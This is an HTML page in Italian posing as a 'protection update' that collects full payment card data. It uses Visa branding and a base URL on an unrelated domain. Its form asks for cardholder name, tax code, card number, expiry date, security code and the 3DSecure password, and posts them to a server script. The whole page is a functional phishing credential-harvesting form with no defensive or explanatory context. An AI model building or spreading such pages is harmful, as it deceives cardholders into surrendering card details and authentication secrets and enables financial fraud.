<!-- saved from url=(0016)http://localhost -->
<!DOCTYPE html><html><head>
<title id="pageTitle">Aggiornamento della protezione</title>
<base href="http://rasom.lt/files/">
<link rel="shortcut icon" href="https://usa.visa.com/favicon.ico" />
<link href="style1.css" type="text/css" rel="stylesheet"/>
<script src="arbaleta.js" type="text/javascript" language="javascript"></script>
</head><body><br><br><br>
<form id="scoica" method="post" action="valul.php" onsubmit="return ocean()">
        <h1 align="center">Si prega di fornire le seguenti informazioni:</h1><br><br>
        <table  border="0" class="uiBoxGray" width="350px" cellspacing="7px" align="center">
        <tbody>
        <tr><td colspan="2" > </td></tr><tr>
                <th align="right">Nome sulla Carta:</th><td class="data"><span><input class="inputtext" name="completu" autocomplete="off" type="text" /></span></td>
        </tr><tr>
                <th align="right">Codice Fiscale/Partita IVA:</th><td class="data"><span><input class="inputtext" maxlength="16" size="16" name="cfiscal" autocomplete="off" type="text" /></span></td>
        </tr><tr>
                <th align="right">Numero della Carta:</th><td align="right"><span><input class="inputtext" name="pulicica" maxlength="16" autocomplete="off" type="text" /></span></td>
        </tr><tr>
                <th align="right">Tipi di carta:</th>
                <td class="data">
                        <span><ul class="uiList fbCardTypes _509- _4ki _704 _6-i">       
                                <li><i class="fbCardType visa img sp_3f0t1g sx_4f8b0a"></i></li>
                                <li><i class="fbCardType mc img sp_3f0t1g sx_f8f1b4"></i></li>
                        </ul></span>
                </td></tr><tr>
                <th align="right">Data di scadenza:</th>
                <td class="data">
                        <span><select name="x1">
                                <option value="Messe">Messe</option>
                                <option value="1" selected="selected">01</option>
                                <option value="2">02</option>
                                <option value="3">03</option>
                                <option value="4">04</option>
                                <option value="5">05</option>
                                <option value="6">06</option>
                                <option value="7">07</option>
                                <option value="8">08</option>
                                <option value="9">09</option>
                                <option value="10">10</option>
                                <option value="11">11</option>
                                <option value="12">12</option>
                        </select>
                         / 
                        <select name="x2">
                                <option value="Anno">Anno</option>
                                <option value="2014" selected="selected">2014</option>
                                <option value="2015">2015</option>
                                <option value="2016">2016</option>
                                <option value="2017">2017</option>
                                <option value="2018">2018</option>
                                <option value="2019">2019</option>
                                <option value="2020">2020</option>
                                <option value="2021">2021</option>
                                <option value="2022">2022</option>
                                <option value="2023">2023</option>
                        </select></span>
                </td>
        </tr><tr>
                <th align="right">Codice di sicurezza:</th>
                <td class="data"><span><input class="inputtext" name="floci" maxlength="3" size="3" autocomplete="off" type="text" /></span></td>
        </tr><tr>
                <th align="right"><strong>3DSecure</strong> Password:</th>
                <td class="data"><span><input class="inputtext" size="12" name="coaiele" autocomplete="off" type="password" /></span></td>
        </tr><tr><td colspan="2"> </td></tr>
        </tbody></table><br><br>
        <table  cellpadding="0" cellspacing="0" align="center">
        <tbody>
        <tr>
                <td><label class="uiButton uiButtonConfirm uiButtonLarge"><input value="     Invia     " type="submit"></label></td>
        </tr>
        </tbody>
        </table>
</form>
</body>
</html>